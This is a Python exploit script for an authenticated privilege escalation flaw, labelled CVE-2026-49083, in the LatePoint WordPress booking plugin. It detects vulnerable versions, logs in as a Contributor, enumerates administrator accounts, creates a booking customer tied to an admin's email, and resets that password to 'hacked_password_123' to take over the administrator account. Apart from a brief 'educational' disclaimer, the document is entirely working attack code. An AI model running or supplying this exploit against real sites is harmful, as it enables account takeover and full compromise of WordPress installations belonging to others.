#!/usr/bin/env python3 """ CVE-2026-49083 LatePoint Calendar Booking Plugin Privilege Escalation Exploit CVSS: 8.8 (High) Authenticated privilege escalation vulnerability in LatePoint plugin versions up to and including 5.5.1. Allows Contributor-level users to escalate to Administrator by exploiting insufficient role validation in customer-to-WordPress user linking logic. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json from urllib.parse import urljoin, quote from bs4 import BeautifulSoup class LatePointPrivEscExploit: def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.plugin_detected = False self.vulnerable_version = False self.nonce = None self.authenticated = False def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def detect_plugin(self): """Detect if LatePoint plugin is installed""" self.log("Detecting LatePoint Calendar Booking plugin...") try: # Check common plugin paths plugin_paths = [ '/wp-content/plugins/latepoint/', '/wp-content/plugins/latepoint-calendar/', '/wp-content/plugins/calendar-booking-latepoint/' ] for path in plugin_paths: url = urljoin(self.target_url, path + 'latepoint.php') resp = self.session.head(url, timeout=10) if resp.status_code == 200: self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True # Try to detect via readme.txt for path in plugin_paths: url = urljoin(self.target_url, path + 'readme.txt') resp = self.session.get(url, timeout=10) if resp.status_code == 200 and 'latepoint' in resp.text.lower(): self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True self.log("Plugin not detected via direct paths", "ERROR") return False except Exception as e: self.log(f"Error detecting plugin: {e}") return False def check_vulnerability(self): """Check if target is vulnerable""" self.log("Checking vulnerability status...") try: # Try to access the plugin's main file plugin_file = urljoin(self.target_url, '/wp-content/plugins/latepoint/latepoint.php') resp = self.session.get(plugin_file, timeout=10) if resp.status_code == 200: # Check version version_match = re.search(r'Version:\s*([0-9.]+)', resp.text) if version_match: version = version_match.group(1) self.log(f"Plugin version: {version}", "INFO") # Check if vulnerable (<=5.5.1) version_parts = version.split('.') if len(version_parts) >= 3: try: major = int(version_parts[0]) minor = int(version_parts[1]) patch = int(version_parts[2]) if major < 5 or (major == 5 and minor < 5) or (major == 5 and minor == 5 and patch <= 1): self.log(f"Version {version} is VULNERABLE!", "CRITICAL") self.vulnerable_version = True return True else: self.log(f"Version {version} appears patched", "ERROR") return False except ValueError: pass self.log("Could not determine vulnerability status", "ERROR") return False except Exception as e: self.log(f"Error checking vulnerability: {e}") return False def login(self, username, password): """Authenticate as a Contributor user""" self.log(f"Attempting to login as: {username}...") try: login_url = urljoin(self.target_url, '/wp-login.php') # Get login page to extract any nonce resp = self.session.get(login_url, timeout=10) # Perform login login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1' } resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=False) if resp.status_code in [302, 303] or 'wp-admin' in resp.headers.get('Location', ''): self.log(f"Successfully logged in as {username}", "SUCCESS") self.authenticated = True return True else: self.log(f"Login failed for {username}", "ERROR") return False except Exception as e: self.log(f"Error during login: {e}", "ERROR") return False def get_nonce(self): """Get AJAX nonce for LatePoint actions""" self.log("Retrieving AJAX nonce...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Try to get nonce via AJAX data = { 'action': 'latepoint_get_nonce' } resp = self.session.post(ajax_url, data=data, timeout=10) if resp.status_code == 200: try: response_data = resp.json() if 'nonce' in response_data: self.nonce = response_data['nonce'] self.log(f"Obtained nonce: {self.nonce}", "SUCCESS") return self.nonce except: pass # Try to extract nonce from admin page admin_url = urljoin(self.target_url, '/wp-admin/') resp = self.session.get(admin_url, timeout=10) nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text) if nonce_match: self.nonce = nonce_match.group(1) self.log(f"Obtained nonce from admin page: {self.nonce}", "SUCCESS") return self.nonce self.log("Could not retrieve nonce", "ERROR") return None except Exception as e: self.log(f"Error retrieving nonce: {e}") return None def get_admin_users(self): """Enumerate WordPress admin users""" self.log("Enumerating WordPress admin users...") admin_users = [] try: # Try REST API api_url = urljoin(self.target_url, '/wp-json/wp/v2/users') resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: try: users = resp.json() for user in users: if 'administrator' in user.get('roles', []): admin_users.append({ 'id': user.get('id'), 'username': user.get('username'), 'name': user.get('name'), 'email': user.get('email') }) self.log(f"Found admin: {user.get('username')} ({user.get('email')})", "INFO") except: pass return admin_users except Exception as e: self.log(f"Error enumerating users: {e}") return admin_users def create_customer_with_admin_email(self, admin_email, service_id=1, agent_id=1): """Create a LatePoint customer record linked to admin email""" self.log(f"Creating customer record with admin email: {admin_email}...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Prepare booking data booking_data = { 'action': 'latepoint_process_booking', 'nonce': self.nonce, 'booking[customer][first_name]': 'Exploit', 'booking[customer][last_name]': 'User', 'booking[customer][email]': admin_email, 'booking[service_id]': str(service_id), 'booking[agent_id]': str(agent_id), 'booking[start_date]': '2026-07-01', 'booking[start_time]': '10:00', 'booking[location_id]': '1' } resp = self.session.post(ajax_url, data=booking_data, timeout=15) if resp.status_code == 200: self.log("Customer creation request sent", "SUCCESS") self.log(f"Response: {resp.text[:200]}", "INFO") return True else: self.log(f"Customer creation failed: {resp.status_code}", "ERROR") return False except Exception as e: self.log(f"Error creating customer: {e}", "ERROR") return False def update_customer_password(self, customer_id, new_password): """Update customer password (which updates linked WP user password)""" self.log(f"Updating customer {customer_id} password...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') update_data = { 'action': 'latepoint_update_customer', 'nonce': self.nonce, 'customer_id': str(customer_id), 'password': new_password } resp = self.session.post(ajax_url, data=update_data, timeout=15) if resp.status_code == 200: self.log("Password update request sent", "SUCCESS") self.log(f"Response: {resp.text[:200]}", "INFO") return True else: self.log(f"Password update failed: {resp.status_code}", "ERROR") return False except Exception as e: self.log(f"Error updating password: {e}", "ERROR") return False def get_customers(self): """Get list of customers""" self.log("Retrieving customer list...") try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') data = { 'action': 'latepoint_get_customers', 'nonce': self.nonce } resp = self.session.post(ajax_url, data=data, timeout=10) if resp.status_code == 200: try: customers = resp.json() self.log(f"Retrieved {len(customers)} customers", "INFO") return customers except: return [] return [] except Exception as e: self.log(f"Error retrieving customers: {e}") return [] def exploit(self, contributor_username, contributor_password, admin_email): """Execute full privilege escalation exploit""" print("\n" + "="*70) print("CVE-2026-49083 LatePoint Privilege Escalation") print("="*70 + "\n") # Step 1: Detect plugin if not self.detect_plugin(): self.log("Plugin not detected. Exploit may not be applicable.", "ERROR") return False # Step 2: Check vulnerability if not self.check_vulnerability(): self.log("Target does not appear to be vulnerable", "ERROR") return False # Step 3: Login as Contributor if not self.login(contributor_username, contributor_password): self.log("Failed to authenticate", "ERROR") return False # Step 4: Get nonce if not self.get_nonce(): self.log("Failed to retrieve nonce", "ERROR") return False # Step 5: Create customer with admin email if not self.create_customer_with_admin_email(admin_email): self.log("Failed to create customer", "ERROR") return False time.sleep(2) # Step 6: Get customers and find the one linked to admin customers = self.get_customers() admin_customer = None for customer in customers: if customer.get('email') == admin_email: admin_customer = customer self.log(f"Found customer linked to admin: ID {customer.get('id')}", "SUCCESS") break if not admin_customer: self.log("Could not find customer linked to admin email", "ERROR") return False # Step 7: Update customer password (escalates to admin) new_password = "hacked_password_123" if not self.update_customer_password(admin_customer.get('id'), new_password): self.log("Failed to update customer password", "ERROR") return False print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Plugin: LatePoint Calendar Booking") print(f"Attacker: {contributor_username} (Contributor)") print(f"Target Admin: {admin_email}") print(f"New Admin Password: {new_password}") print(f"\nPrivilege Escalation Complete!") print(f"You can now login as administrator with:") print(f" Email: {admin_email}") print(f" Password: {new_password}") print("="*70 + "\n") return True class LatePointEnumerator: """Enumerate LatePoint plugin configuration""" def __init__(self, target_url, session): self.target_url = target_url.rstrip('/') self.session = session def get_services(self): """Get available services""" services = [] try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') data = {'action': 'latepoint_get_services'} resp = self.session.post(ajax_url, data=data, timeout=10) if resp.status_code == 200: try: services = resp.json() except: pass except: pass return services def get_agents(self): """Get available agents""" agents = [] try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') data = {'action': 'latepoint_get_agents'} resp = self.session.post(ajax_url, data=data, timeout=10) if resp.status_code == 200: try: agents = resp.json() except: pass except: pass return agents def get_locations(self): """Get available locations""" locations = [] try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') data = {'action': 'latepoint_get_locations'} resp = self.session.post(ajax_url, data=data, timeout=10) if resp.status_code == 200: try: locations = resp.json() except: pass except: pass return locations def main(): parser = argparse.ArgumentParser( description='CVE-2026-49083 LatePoint Privilege Escalation Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-u', '--username', required=True, help='Contributor username') parser.add_argument('-p', '--password', required=True, help='Contributor password') parser.add_argument('-e', '--email', required=True, help='Target admin email to takeover') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--detect', action='store_true', help='Detect plugin only') parser.add_argument('--check', action='store_true', help='Check vulnerability only') parser.add_argument('--enumerate', action='store_true', help='Enumerate plugin configuration') args = parser.parse_args() # Create exploit instance exploit = LatePointPrivEscExploit(args.target, verbose=args.verbose) # Detect only if args.detect: if exploit.detect_plugin(): print("[+] Plugin detected!") else: print("[-] Plugin not detected") sys.exit(0) # Check vulnerability if args.check: if exploit.check_vulnerability(): print("[+] Target is vulnerable!") else: print("[-] Target does not appear vulnerable") sys.exit(0) # Enumerate configuration if args.enumerate: if not exploit.login(args.username, args.password): print("[-] Failed to authenticate") sys.exit(1) enumerator = LatePointEnumerator(args.target, exploit.session) services = enumerator.get_services() print(f"\n[+] Found {len(services)} services:") for service in services: print(f" - {service.get('name')} (ID: {service.get('id')})") agents = enumerator.get_agents() print(f"\n[+] Found {len(agents)} agents:") for agent in agents: print(f" - {agent.get('name')} (ID: {agent.get('id')})") locations = enumerator.get_locations() print(f"\n[+] Found {len(locations)} locations:") for location in locations: print(f" - {location.get('name')} (ID: {location.get('id')})") sys.exit(0) # Full exploit success = exploit.exploit(args.username, args.password, args.email) sys.exit(0 if success else 1) if __name__ == '__main__': main()